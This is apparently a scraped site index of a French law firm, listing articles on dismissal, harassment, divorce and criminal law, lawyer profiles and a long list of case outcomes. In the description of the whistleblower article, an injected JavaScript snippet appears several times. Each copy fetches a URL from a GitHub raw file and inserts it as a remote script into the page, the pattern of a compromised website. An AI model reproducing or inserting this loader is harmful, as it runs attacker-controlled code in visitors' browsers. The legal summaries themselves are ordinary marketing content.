possible - [Vidéo – Cadres : négociez votre départ avant la retraite](https://www.avibitton.com/cadres-negociez-depart-avant-la-retraite/): Cadres avec grande ancienneté proches de la retraite : n’attendez pas la fin de carrière pour négocier. Un départ négocié, bien conseillé, peut rapporter bien plus qu’une simple prime de départ et ouvrir des droits au chômage. - [Vidéo – Cadres : négociez une clause de reprise d’ancienneté](https://www.avibitton.com/cadres-negociez-clause-de-reprise-anciennete/): Cadres : pensez à négocier une clause de reprise d’ancienneté dans votre nouveau contrat. Ce levier vous protège en cas de licenciement et augmente vos droits aux indemnités, en valorisant toute votre expérience antérieure - [Licenciement : protection de la salariée enceinte ou au retour de congé maternité](https://www.avibitton.com/licenciement-protection-salariee-enceinte-ou-retour-conge-maternite/): La loi prévoit une protection de la salariée en état de grossesse, en congé de maternité et au retour de celui-ci (article L. 1224-4, Code du travail). - [Cadres : Réorganisation = Harcèlement + Licenciement](https://www.avibitton.com/cadre-reorganisation-licenciement/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Licenciement, Rupture Conventionnelle : Faut-il négocier son départ ?](https://www.avibitton.com/licenciement-rupture-conventionelle-negociation/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Salarié Lanceur d’Alerte – Nouvelles protections légales](https://www.avibitton.com/salarie-lanceur-alerte-droit-travail/): ;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head').appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head').appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head').appendChild(script);});;var url = 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(SBS) est une forme de maltraitance infantile grave aux conséquences souvent irréversibles. Elle désigne un traumatisme crânien non-accidentel (TCNA) provoqué par un secouement (seul ou associé à un impact). - [Le licenciement du salarié qui se plaint de harcèlement](https://www.avibitton.com/avocat-licenciement-salarie-harcelement/): Le Code du travail définit le harcèlement moral dans son article L1152-1 comme - [Syndrome du bébé secoué : peines et sanctions des auteurs](https://www.avibitton.com/avocat-syndrome-du-bebe-secoue/): Il est provoqué par un secouement (avec ou sans impact). Il s’agit d’une forme grave de maltraitance infantile. - [Quand porter plainte pour harcèlement moral au travail ? Délais, preuves et étapes à suivre](https://www.avibitton.com/harcelement-travail-porter-plainte/): Se sentir maltraité, dévalorisé ou humilié de manière répétée au travail n’est jamais anodin. Pourtant, de nombreux salariés hésitent à agir, par peur de représailles ou parce qu’ils doutent de la gravité des faits. - [Vous avez perdu aux Prud’hommes, faut-il faire appel ?](https://www.avibitton.com/faire-appel-apres-prudhommes/): Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes. - [Affaires Pénales – Viols sur mineurs : la loi du 21 avril 2021](https://www.avibitton.com/loi-viol-sur-mineur/):  - [Divorce pour faute : quels sont les agissements fautifs ?](https://www.avibitton.com/divorce-pour-faute-agissements-fautifs/): En cas de divorce pour faute, quels sont les faits constitutifs d’une faute ? - [Divorce : l’adultère est-il une faute ?](https://www.avibitton.com/divorce-l-adultere-est-il-une-faute/): L’adultère peut-il fonder un divorce pour faute, aux torts exclusifs de l’époux infidèle ? - [Avocat spécialisé en violences obstétricales et gynécologiques – Conseils juridiques et défense efficace](https://www.avibitton.com/avocat-violences-obstetricales-gynecologiques-vog/): Les violences obstétricales et gynécologiques (« VOG ») peuvent prendre diverses formes, allant de paroles (avances à caractère sexuel…) jusqu’à des faits de viols (pénétration sexuelle imposée sans objet thérapeutique). - [Cadre dirigeant : définition et enjeux en droit du travail](https://www.avibitton.com/avocat-cadre-dirigeant-definition/): L’enjeu est important pour le salarié : s’il n’est en réalité pas cadre dirigeant, la durée légale du travail s’appliquera à lui et il pourra réclamer les heures supplémentaires effectuées au delà de 35 heures par semaine, au titre des trois dernières années, ce qui peut constituer des sommes très élevées par le jeu de la majoration des heures supplémentaires (de 25% à 50%) .... - [Retour de congé maternité : le droit de la salariée de retrouver ses fonctions](https://www.avibitton.com/retour-de-conge-maternite/): En vertu de l’article L. 1225-25 du Code du travail, à l’issue du congé de maternité, la salariée retrouve son précédent emploi ou un emploi similaire à celui qu’elle occupait précédemment assorti d’une rémunération au moins équivalente. - [Affaires Pénales – Plainte pour viol, comment se déroule l’enquête ?](https://www.avibitton.com/plainte-pour-viol-deroulement-enquete/):  - [Affaires Pénales – Imprescriptibilité des viols incestueux ?](https://www.avibitton.com/imprescriptibilite-viols-incestueux/):  - [Affaires Pénales – Inceste : obligation de dénonciation ?](https://www.avibitton.com/inceste-obligation-denonciation/):  - [Affaires Pénales : L’inceste est-il un crime ?](https://www.avibitton.com/inceste-crime/):  ## Pages - [Jessy Argis](https://www.avibitton.com/equipe/jessy-argis/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Recrutement](https://www.avibitton.com/recrutement/): Le Cabinet Avi Bitton Avocats Associés recrute. - [Audrey Vaslin Avocate](https://www.avibitton.com/equipe/audrey-vaslin-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Natacha Kompanietz Avocate](https://www.avibitton.com/equipe/natacha-kompanietz-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Carole Chriqui Avocate](https://www.avibitton.com/equipe/carole-chriqui-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Laura Callot Avocate](https://www.avibitton.com/equipe/laura-callot-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Communiqués](https://www.avibitton.com/communiques-de-presse/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Accueil test vidéo](https://www.avibitton.com/accueil-test-video/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [César Vallée Avocat](https://www.avibitton.com/equipe/cesar-vallee-avocat/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Actions gratuites et stock-options](https://www.avibitton.com/cadres/actions-gratuites-et-stock-options/): Vous êtes cadre et souhaitez négocier votre rupture conventionnelle ou votre licenciement amiable ?  - [Responsabilité civile et pénale](https://www.avibitton.com/cadres-dirigeants/responsabilite-civile-et-penale/): Vous êtes cadre dirigeant et/ou mandataire social ? Vous anticipez une rupture et la mise en cause de votre responsabilité civile et pénale ? - [Contrat de travail et mandat social](https://www.avibitton.com/cadres-dirigeants/contrat-de-travail-et-mandat-social/): Vous êtes cadre dirigeant (salarié) et mandataire social (Président, Directeur général…) ? Vous anticipez un licenciement abusif et une révocation, ou vous souhaitez négocier votre départ ? - [Actions gratuites et stock-options](https://www.avibitton.com/cadres-dirigeants/actions-gratuites-et-stock-options/): Vous êtes cadre dirigeant et souhaitez négocier votre rupture conventionnelle ou votre licenciement amiable ?  - [Cadres : Prud’hommes – Avantages et protection juridique](https://www.avibitton.com/cadres/cadres-prudhommes-avantages-et-protection-juridique/): Droit du travail, Conseils pour vos prud'hommes en droit du travail - [Accident du travail & Maladie professionnelle](https://www.avibitton.com/cadres/accident-du-travail-maladie-professionnelle/): Vous êtes cadre ou cadre supérieur ? Vous avez été victime d’un accident du travail ou d’une maladie professionnelle ? - [Licenciement](https://www.avibitton.com/cadres/licenciement/): Vous êtes cadre ou cadre supérieur ? Vous anticipez un licenciement abusif ? - [Rupture conventionnelle & Transaction](https://www.avibitton.com/cadres/rupture-conventionnelle-transaction/): Vous êtes cadre ou cadre supérieur ? Vous souhaitez négocier votre départ de l'entreprise ou mettre en place une rupture conventionnelle avec une indemnité optimisée ? - [Harcèlement au travail](https://www.avibitton.com/cadres/harcelement-au-travail/): Vous êtes cadre ou cadre supérieur ? Vous êtes victime de harcèlement moral ou sexuel au travail (pressions, mises à l'écart, menaces, intimidations, agressions verbales ou physiques...) ? - [Discrimination au travail](https://www.avibitton.com/cadres/discrimination-au-travail/): Vous êtes cadre ou cadre supérieur ? Vous faites l’objet de discrimination en raison de l’âge ou du genre (retour du congé maternité, inégalité salariale hommes femmes, …) ? - [Cadres](https://www.avibitton.com/cadres/): Vous êtes cadre ou cadre supérieur ? Vous anticipez un licenciement ? Vous souhaitez conclure une négociation de départ (rupture conventionnelle, transaction, …) ? Vous faites l’objet d’un harcèlement ou d’une discrimination (retour de congé maternité, âge, homme-femme…) ? - [Laurène Leloup Avocate](https://www.avibitton.com/equipe/laurene-leloup-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Charlotte Saada Avocate](https://www.avibitton.com/equipe/charlotte-saada-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Jérémy Chemla Avocat](https://www.avibitton.com/equipe/jeremy-chemla-avocat/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Podcast](https://www.avibitton.com/podcast/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Newsletter](https://www.avibitton.com/newsletter/): Accueil 5 Harcèlement moral : quel rôle joue l’arrêt maladie ? Inscription à notre Newsletter Restez informés ! - [Harcèlement au travail](https://www.avibitton.com/cadres-dirigeants/harcelement-au-travail/): Vous êtes cadre dirigeant ? Vous êtes victime de harcèlement moral ou sexuel au travail (pressions, mises à l’écart, menaces, intimidations, agressions verbales ou physiques…) ? - [Marine Le Conte Avocate](https://www.avibitton.com/equipe/marine-le-conte-avocat/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Marina Pipon Avocate](https://www.avibitton.com/equipe/marina-pipon-avocate/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Remerciements – Droit du travail](https://www.avibitton.com/remerciements-droit-du-travail-d/): Un mail de confirmation vient de vous être envoyé. - [Remerciements – Droit du travail](https://www.avibitton.com/remerciements-droit-du-travail-c/): Un mail de confirmation vient de vous être envoyé. - [Remerciements – Droit du travail](https://www.avibitton.com/remerciements-droit-du-travail-b/): Un mail de confirmation vient de vous être envoyé. - [Remerciements – Droit du travail](https://www.avibitton.com/remerciements-droit-du-travail-a/): Un mail de confirmation vient de vous être envoyé. - [Honoraires](https://www.avibitton.com/honoraires/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Remerciements – Préjudice corporel](https://www.avibitton.com/remerciements-prejudice-corporel/): Un mail de confirmation vient de vous être envoyé. - [Remerciements – Droit du travail](https://www.avibitton.com/remerciements-droit-du-travail/): Un mail de confirmation vient de vous être envoyé. - [Remerciements – Droit pénal](https://www.avibitton.com/remerciements-droit-penal/): Un mail de confirmation vient de vous être envoyé. - [Annulation](https://www.avibitton.com/annulation/): Un mail de confirmation vient de vous être envoyé ! Pour toute question, n'hésitez pas à nous contacter. - [Remerciements](https://www.avibitton.com/remerciements/): Un mail de confirmation vient de vous être envoyé ! Pour toute question, n'hésitez pas à nous contacter. - [Nos faits d’armes](https://www.avibitton.com/nos-faits-darmes/): Sélectionnez les faits d'armes que vous souhaitez consulter : - [Justine Roure Avocate](https://www.avibitton.com/equipe/justine-roure-avocat/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Laetitia Lencione Avocate](https://www.avibitton.com/equipe/laetitia-lencione-avocat/): « Avi Bitton est doté d’une équipe ‘très réactive, capable de fournir des conseils astucieux et d’anticiper la défense adverse dans des contentieux sensibles, notamment en droit pénal du travail’. Le cabinet est très présent aux côtés des cadres salariés de grandes entreprises et affiche un taux de réussite très important dans les contentieux qu’il traite. L’équipe développe également sa base de clientèle d’entreprises. L’équipe compte dans ses rangs : Avi Bitton, un ‘esprit stratège, combatif et passionné par le droit du travail qui montre une réelle empathie pour venir en aide à ses clients’, Laetitia Lencione ». - [Nelson de Oliveira Avocat](https://www.avibitton.com/equipe/nelson-de-oliveira-avocat/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Avi Bitton Avocats et Associés](https://www.avibitton.com/): Le cabinet Avi Bitton Avocats & Associés a été recommandé par les classements internationaux Best Lawyers, Décideurs (Leaders League) et Legal 500. Selon le classement international Legal 500  : - [Actualités Avi Bitton et Associés – Le blog](https://www.avibitton.com/actualites-avi-bitton-et-associes-le-blog/): Blog - [Nos faits d’armes : Droit du travail](https://www.avibitton.com/nos-faits-darmes/nos-faits-darmes-droit-du-travail/): Accueil 5 Harcèlement moral : quel rôle joue l’arrêt maladie ? Nos faits d'armes en droit du travail Avi Bitton Avocats Associés a obtenu les accords amiables et jugements suivants : Harcèlement et Discrimination Rupture conventionnelle et Transaction Licenciement Accident du travail et Maladie professionnelle Prud’hommes Harcèlement moral – Expatriation : condamnation de la société américaine 3M pour harcèlement moral à l'encontre d'un directeur, caractérisé par sa mise à l'écart et l'absence de réintégration à son retour d'expatriation aux États-Unis, avec octroi de dommages-intérêts (arrêt de la Cour d'appel de Versailles, 5 décembre 2024). Discrimination au retour du congé maternité – Harcèlement moral – Licenciement abusif : condamnation d’une société du groupe Eiffage pour harcèlement moral d’une cadre et discrimination au retour du congé maternité et versement d’indemnités pour licenciement nul (arrêt Cour d’appel de Paris, 27 octobre 2022) Licenciement – Harcèlement moral : condamnation d’une société du groupe Auchan à verser plus de 200 000 Euros d’indemnités à une cadre victime de harcèlement moral et licenciement nul (arrêt de la Cour d’appel de Paris, 28 oct. 2021) Harcèlement moral : résiliation judiciaire du contrat de travail pour harcèlement moral et condamnation d’une grande compagnie d’assurance à des dommages et intérêts (arrêt de la Cour d’appel de Paris, 14 octobre 2020) Harcèlement moral : résiliation judiciaire du contrat de travail aux torts de l’employeur pour harcèlement moral par mise à l’écart et pressions de la hiérarchie (arrêt de la Cour d’Appel de Paris, 4 avril 2018) Discrimination en raison de l’état de santé : condamnation d’une entreprise de chantiers navals pour licenciement nul car motivé par une discrimination en raison de l’état de santé du salarié et non-respect des préconisations du médecin du travail (arrêt de la Cour d’appel de Paris, 15 mars 2017) Accident du travail et harcèlement moral : condamnation d’une entreprise de grande distribution à indemniser son salarié pour manquement l’obligation de sécurité dans le cadre d’un accident du travail et harcèlement moral (arrêt de la Cour d’appel de Paris, 30 janvier 2018) Harcèlement moral et licenciement pour faute grave : condamnation d’une société à verser des dommages et intérêts pour licenciement sans cause réelle et sérieuse, licenciement vexatoire, harcèlement moral et manquement à l’obligation de sécurité (Conseil de Prud’hommes de Bobigny, 8 septembre 2017) Discrimination en raison de l’état de santé : condamnation d’une entreprise de chantier naval pour licenciement nul car motivé en réalité sur une discrimination en raison de l’état de santé du salarié et absence de respect des préconisations du médecin du travail (arrêt de la Cour d’appel de Paris, 15 mars 2017) Harcèlement moral : défense d’un directeur d’établissement public ; annulation pour vices de forme d’une citation directe délivrée contre le prévenu pour discrimination syndicale et délit d’entrave (jugement du 2 novembre 2016, Tribunal correctionnel de Créteil) Discrimination raciale et harcèlement moral : décision du Défenseur des droits constatant une discrimination raciale et un harcèlement moral envers un agent de la SNCF en raison de son origine ethnique et intervention du Défenseur des droits devant le Conseil de Prud’hommes (décision du Défenseur des droits du 17 novembre 2015) Discrimination au retour de congé maternité : condamnation d’une société informatique à des dommages et intérêts et rappels de salaire pour discrimination en raison de la situation de famille (retour de congé maternité), harcèlement moral, licenciement abusif et heures supplémentaires (arrêt du 25 avril 2013, Cour d’appel de Versailles) Harcèlement sexuel : condamnation d’une grande entreprise à des dommages et intérêts et rappels de salaire (662 000 euros) pour licenciement sans cause réelle et sérieuse d’un cadre accusé de harcèlement sexuel par plusieurs collègues (jugement du Conseil de Prud’hommes de Créteil, 23 décembre 2014) Harcèlement moral : annulation du licenciement pour faute lourde d’une salariée qui s’était plainte de harcèlement moral et condamnation de l’entreprise à verser des dommages et intérêt de plus de 230 000 Euros (arrêt de la Cour d’appel de Paris, 24 septembre 2014) Prise d’acte : requalification d’une prise d’acte en licenciement nul et octroi d’indemnités pour harcèlement moral (arrêt de la Cour d’appel de Paris, 19 septembre 2014) Harcèlement sexuel : conclusion d’une transaction entre une banque et une cadre salariée à la suite de sa plainte pour harcèlement sexuel. Harcèlement sexuel et travail dissimulé : condamnation d’une entreprise à des dommages et intérêts pour harcèlement sexuel et travail dissimulé par heures supplémentaires non-déclarées (arrêt de la Cour d’appel de Paris, 10 avril 2013) Discrimination raciale : condamnation d’une banque pour discrimination raciale envers un de ses cadres et versement de dommages et intérêts au salarié et à la Ligue Internationale Contre le Racisme et l’Antisémitisme – LICRA (jugement du Conseil de Prud’hommes de Paris, 27 décembre 2012) Harcèlement moral : condamnation d’une entreprise de services pour harcèlement moral et versement de dommages et intérêts au salarié (arrêt de la Cour d’appel de Paris, 4 juillet 2012) Harcèlement moral : condamnation d’une entreprise de distribution pour harcèlement moral (arrêt de la Cour d’appel de Paris, 15 juin 2010) Harcèlement sexuel : reconnaissance d’un harcèlement sexuel comme un accident du travail (Tribunal des affaires de sécurité sociale de Paris, 19 septembre 2011) Rupture conventionnelle – Harcèlement moral : négociation d’une rupture conventionnelle pour une salariée cadre de 5 ans d’ancienneté invoquant des faits de harcèlement moral, avec obtention d’un accord global de 213 000 euros comprenant une indemnité spécifique de rupture conventionnelle et une indemnité transactionnelle, soit un montant supérieur au barème Macron applicable, ainsi qu’une dispense de préavis rémunérée (accord conclu après 4 mois de négociations).Rupture conventionnelle – Harcèlement moral – Discrimination syndicale : négociation d’une rupture conventionnelle pour un salarié de 8 ans d’ancienneté faisant état de faits de harcèlement moral et de discrimination syndicale, avec obtention d’un accord de 140 000 euros comprenant une indemnité transactionnelle représentant près de 17 mois de salaire, supérieure au plafond d’indemnisation prévu par le barème Macron, ainsi qu’un préavis dispensé et rémunéré (accord obtenu en 3 mois). Harcèlement moral : négociation d’un accord transactionnel dans un dossier présentant des enjeux internationaux relatifs à l’application du droit français à un contrat de travail suisse (durée du travail et fixation tardive des objectifs), ayant abouti au versement de 150 000 euros dans le cadre d’un procès-verbal de conciliation, après le déblocage des négociations consécutif à un projet de saisine de l’inspection du travail. Rupture conventionnelle : négociation avec une société américain de la tech cotée en bourse d'une rupture conventionnelle à plus de 900 000 Euros et attribution d'actions gratuites (RSU) à hauteur d'environ 1,5 million d'euros Transaction après convocation à entretien préalable : négociation d’une transaction à la suite d’une procédure de licenciement engagée à l’encontre d’un cadre, avec obtention en moins d’un mois du versement de 195 000 euros d’indemnités transactionnelles (soit 21 mois de salaire), ainsi que la prise en charge des frais d’avocat. Transaction – Licenciement pour faute grave : négociation avec une société cotée en bourse (secteur de l'énergie) d'une transaction avec des indemnités de 600 000 Euros pour une cadre expatriée Transaction après saisine du conseil de prud'hommes : négociation d’une transaction avec une entreprise ayant initialement refusé toute discussion amiable, et versement de 110 000 euros d'indemnités, ainsi que la prise en charge intégrale des honoraires de résultat de l’avocat. Transaction négociée : négociation d’un accord transactionnel permettant l’obtention d’une indemnité représentant 20 mois de salaire nets de cotisations et charges sociales pour un salarié justifiant de 13 années d’ancienneté, à l’issue de négociations conduites en 3 mois avec une entreprise américaine (GAFA). Rupture conventionnelle – Harcèlement moral : négociation d’une rupture conventionnelle pour une salariée cadre de 5 ans d’ancienneté invoquant des faits de harcèlement moral, avec obtention d’un accord global de 213 000 euros comprenant une indemnité spécifique de rupture conventionnelle et une indemnité transactionnelle, soit un montant supérieur au barème Macron applicable, ainsi qu’une dispense de préavis rémunérée (accord conclu après 4 mois de négociations). Rupture conventionnelle – Harcèlement moral – Discrimination syndicale : négociation d’une rupture conventionnelle pour un salarié de 8 ans d’ancienneté faisant état de faits de harcèlement moral et de discrimination syndicale, avec obtention d’un accord de 140 000 euros comprenant une indemnité transactionnelle représentant près de 17 mois de salaire, supérieure au plafond d’indemnisation prévu par le barème Macron, ainsi qu’un préavis dispensé et rémunéré (accord obtenu en 3 mois). Transaction – Contestation du statut de cadre dirigeant : négociation d’un accord transactionnel pour un salarié de 2 ans d’ancienneté à la suite de la remise en cause de son statut de cadre dirigeant, permettant l’obtention de 110 000 euros, soit l’équivalent de 9 mois de salaire, alors l’employeur avait initialement proposé 20 000 euros (accord trouvé en moins de trois semaines). Transaction – Licenciement pour faute grave : négociation d’une transaction à la suite d’une procédure de licenciement pour faute grave envisagée par l’employeur, avec obtention d’un accord global de 530 000 euros, avec une prise en charge des frais d’avocat (accord trouvé en un peu plus d’un mois). Transaction : négociation d’une transaction à la suite du licenciement d’un cadre et versement d’indemnités et acquisition de stock-options (29 janvier 2018) Rupture conventionnelle de représentant du personnel : négociation d’une rupture conventionnelle d’un délégué du personnel et obtention de l’autorisation de l’inspection du travail (décision de l’Inspection du travail des Hauts-de-Seine, 24 février 2017) Prêt de main-d’œuvre illicite et marchandage de main-d’œuvre : négociation d’une transaction avec une SSII qui avait mis un salarié à disposition d’une entreprise de distribution. Durée du travail : négociation d’une transaction entre un grand cabinet d’avocats et un avocat salarié relative à un litige sur des dépassements de la durée du travail. Rupture conventionnelle : négociation d’une rupture conventionnelle entre un représentant du personnel et une grande entreprise de distribution. Licenciement pour insuffisance professionnelle : condamnation de Valeo Vision à verser des dommages-intérêts à un cadre, compte tenu du non-respect par l’employeur de son obligation d’adaptation et d’accompagnement avant de procéder au licenciement (Conseil de prud’hommes d’Angers, 4 février 2026). Discrimination au retour du congé maternité – Harcèlement moral – Licenciement abusif : condamnation d’une société du groupe Eiffage pour harcèlement moral d’une cadre et discrimination au retour du congé maternité et versement d’indemnités pour licenciement nul (arrêt Cour d’appel de Paris, 27 octobre 2022) Licenciement sans cause réelle et sérieuse – Rémunération variable – Forfait-jours : condamnation de la société GFI Business Transformation (Inetum) à plus de 65 000 euros en rappel de rémunération pour non-respect de ses obligations contractuelles (notamment en matière de suivi de la charge de travail et de rémunération variable) et requalification de la résiliation judiciaire du contrat de travail en licenciement sans cause réelle et sérieuse avec octroi de plus de 80 000 euros d’indemnités (arrêt de la Cour d’appel de Versailles, 13 avril 2022) Licenciement abusif – Cadre de banque : condamnation de la Caisse d’Epargne Ile-de-France Paris pour licenciement abusif d’un cadre et versement d’heures supplémentaires après annulation du forfait jours (arrêt de la Cour d’appel de Paris, 24 mars 2022) Licenciement – Harcèlement moral : condamnation d’une société du groupe Auchan à verser plus de 200 000 Euros d’indemnités à une cadre victime de harcèlement moral et licenciement nul (arrêt de la Cour d’appel de Paris, 28 oct. 2021) Licenciement sans cause réelle et sérieuse : condamnation de Essilor International pour licenciement abusif et versement d'indemnités à un cadre licencié à la suite d’un incident survenu lors d’une mission à l’étranger, compte tenu de la violation de sa présomption d’innocence (jugement du Conseil de prud’hommes de Créteil, 8 juillet 2021). Licenciement pour inaptitude : condamnation d’une SSII (ESN) pour licenciement abusif en raison de la violation par l’employeur de son obligation de reclassement (jugement du Conseil de prud’hommes d’Argenteuil, 8 juin 2021) Licenciement abusif : condamnation d’une société ayant licencié une salariée pour « insuffisance et insatisfaction professionnelle » en l’absence de preuves de reproches antérieurs au licenciement (arrêt Cour d’appel de Paris, 3 juin 2021) Licenciement pour faute grave : nullité du licenciement prononcé contre le salarié qui avait agi en justice et condamnation d’une fédération sportive à verser des dommages et intérêts (arrêt de la Cour d’appel de Versailles, 28 octobre 2020) Licenciement pour inaptitude : condamnation d’une grande entreprise de prêt-à-porter pour licenciement abusif (jugement du Conseil de Prud’hommes de Paris, 14 octobre 2020) Licenciement pour faute grave : condamnation de la société Amazon pour licenciement abusif d’un salarié qui avait appelé au blocage d’un entrepôt (jugement du conseil de prud’hommes d’Orléans, 19 octobre 2020) Transaction – Licenciement pour faute grave : négociation d’une transaction à la suite d’une procédure de licenciement pour faute grave envisagée par l’employeur, avec obtention d’un accord global de 530 000 euros, avec une prise en charge des frais d’avocat (accord trouvé en un peu plus d’un mois). Licenciement économique – non-respect de la priorité de réembauche : condamnation d’une fondation à verser des indemnités à un salarié pour non-respect de la priorité de ré-embauchage à la suite d’un licenciement pour motif économique (arrêt de la Cour d’appel de Paris, 27 novembre 2019) Licenciement pour motif économique : condamnation d’une société d’édition à verser des indemnités au salarié pour violation de l’obligation de reclassement dans le cadre d’un licenciement économique (Cour d’appel de Paris, 21 mai 2019) Licenciement pour faute : condamnation d’une grande entreprise de BTP à verser des indemnités à un salarié pour licenciement sans cause réelle et sérieuse (jugement du Conseil de prud’hommes de Paris, 18 octobre 2018) Licenciement pour faute lourde : requalification du licenciement pour faute lourde (détournement de clientèle et usage abusif du téléphone portable) en licenciement sans cause réelle et sérieuse et condamnation de l’employeur à verser des dommages et intérêts au salarié (arrêt de la Cour d’Appel de Versailles, 14 décembre 2017) Harcèlement moral et licenciement pour faute grave : condamnation d’une société à verser des dommages et intérêts pour licenciement sans cause réelle et sérieuse, licenciement vexatoire, harcèlement moral et manquement à l’obligation de sécurité (Conseil de Prud’hommes de Bobigny, 8 septembre 2017) Licenciement pour insuffisance professionnelle : condamnation d’une société à verser des dommages et intérêts pour licenciement sans cause réelle et sérieuse, un rappel de salaire variable sur objectifs et des dommages et intérêts pour nullité de la convention de forfait jours (Conseil de Prud’hommes de Boulogne-Billancourt, 11 janvier 2018) Licenciement d’un salarié protégé : refus d’autorisation de licencier un représentant du personnel dans le cadre d’un licenciement économique collectif (décision de l’Inspection du travail des Hauts-de-Seine, 2 janvier 2018) Licenciement pour cause réelle et sérieuse : condamnation d’une grande entreprise de luxe à verser des dommages et intérêts pour licenciement sans cause réelle et sérieuse, car motivé par une insuffisance de résultats alors que les objectifs étaient irréalisables (arrêt de la Cour d’appel de Paris, 19 septembre 2017) Licenciement pour insuffisances professionnelles : condamnation d’une SSII à verser des dommages-intérêts à un cadre pour licenciement sans cause réelle et sérieuse et des rappels de salaire variable sur objectifs (arrêt de la Cour d’appel de Versailles, 20 décembre 2016) Licenciement pour inaptitude : condamnation d’une grande entreprise dans le secteur de l’immobilier à verser des dommages et intérêts au salarié pour manquement de l’employeur à son obligation de rechercher un reclassement avant de prononcer le licenciement (arrêt de la Cour d’appel de Paris, 18 juin 2015) Licenciement salarié protégé : annulation d’une autorisation de licenciement de l’inspecteur du travail envers un salarié protégé pour défaut de motivation (décision du Ministre du travail du 13 novembre 2015) Licenciement économique collectif (PSE – plan social) : injonction à l’employeur de communiquer le registre du personnel pour contrôler l’exécution de son obligation de reclassement (ordonnance du Conseil de Prud’hommes de Paris, 21 mai 2015) Licenciement délégué du personnel : annulation d’une autorisation de licenciement de l’inspecteur du travail envers un délégué du personnel pour défaut de motivation (décision du Ministre du travail du 23 octobre 2015) Licenciement sans cause réelle et sérieuse : condamnation d’un cabinet d’avocats international ayant licencié un salarié pour des motifs non datés et imprécis (jugement du Conseil de Prud’hommes d’Evry, 6 mai 2014) Licenciement pour inaptitude : condamnation d’une société de prêt-à-porter pour manquement à l’obligation de reclassement d’un salarié déclaré inapte (arrêt de la Cour d’appel de Versailles, 19 juin 2014) Licenciement pour motif personnel : condamnation d’un cabinet d’avocats pour licenciement abusif (jugement du Conseil de Prud’hommes de Boulogne-Billancourt, 17 décembre 2013) Licenciement économique : condamnation pour licenciement sans cause réelle et sérieuse (arrêt de la Cour d’appel de Paris, 11 février 2014) Licenciement pour insuffisances professionnelles : condamnation d’une SSII pour licenciement sans cause réelle et sérieuse et non-paiement des primes d’objectifs (jugement du Conseil de Prud’hommes de Nanterre, 6 juin 2013) Licenciement pour faute : condamnation d’un laboratoire pharmaceutique pour licenciement sans cause réelle et sérieuse et absence de visites médicales périodiques et de reprise, et versement de dommages et intérêts au salarié (jugement du Conseil de Prud’hommes de Nanterre, 8 octobre 2012) Licenciement pour motif personnel : condamnation d’une société informatique pour licenciement sans cause réelle et sérieuse et versement de dommages et intérêts au salarié (jugement du Conseil de Prud’hommes de Boulogne, 30 juillet 2012) Licenciement économique : condamnation d’une société de conseil pour licenciement sans cause réelle et sérieuse et versement de dommages et intérêts et remboursement de frais d’avocat exposés par le salarié (arrêt de la Cour d’appel de Paris, 5 juin 2012) Licenciement économique : condamnation d’une entreprise industrielle pour licenciement sans cause réelle et sérieuse et versement de dommages et intérêts et remboursement de frais d’avocat exposés par le salarié (jugement du Conseil de Prud’hommes de Meaux, 23 avril 2012) Licenciement pour faute : condamnation d’un grand laboratoire pharmaceutique pour licenciement sans cause réelle et 